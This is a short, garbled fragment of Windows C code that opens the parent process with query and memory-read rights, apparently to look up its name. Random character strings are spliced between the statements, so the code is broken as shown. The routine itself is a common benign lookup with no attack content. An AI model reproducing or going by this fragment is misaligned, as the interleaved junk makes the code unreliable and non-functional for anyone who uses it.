OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Bcarx<P-p if(hProcess==NULL) return 0; 4xEw2F zPND$3&' HMODULE hMod; [nZIV char procName[255]; -&sY |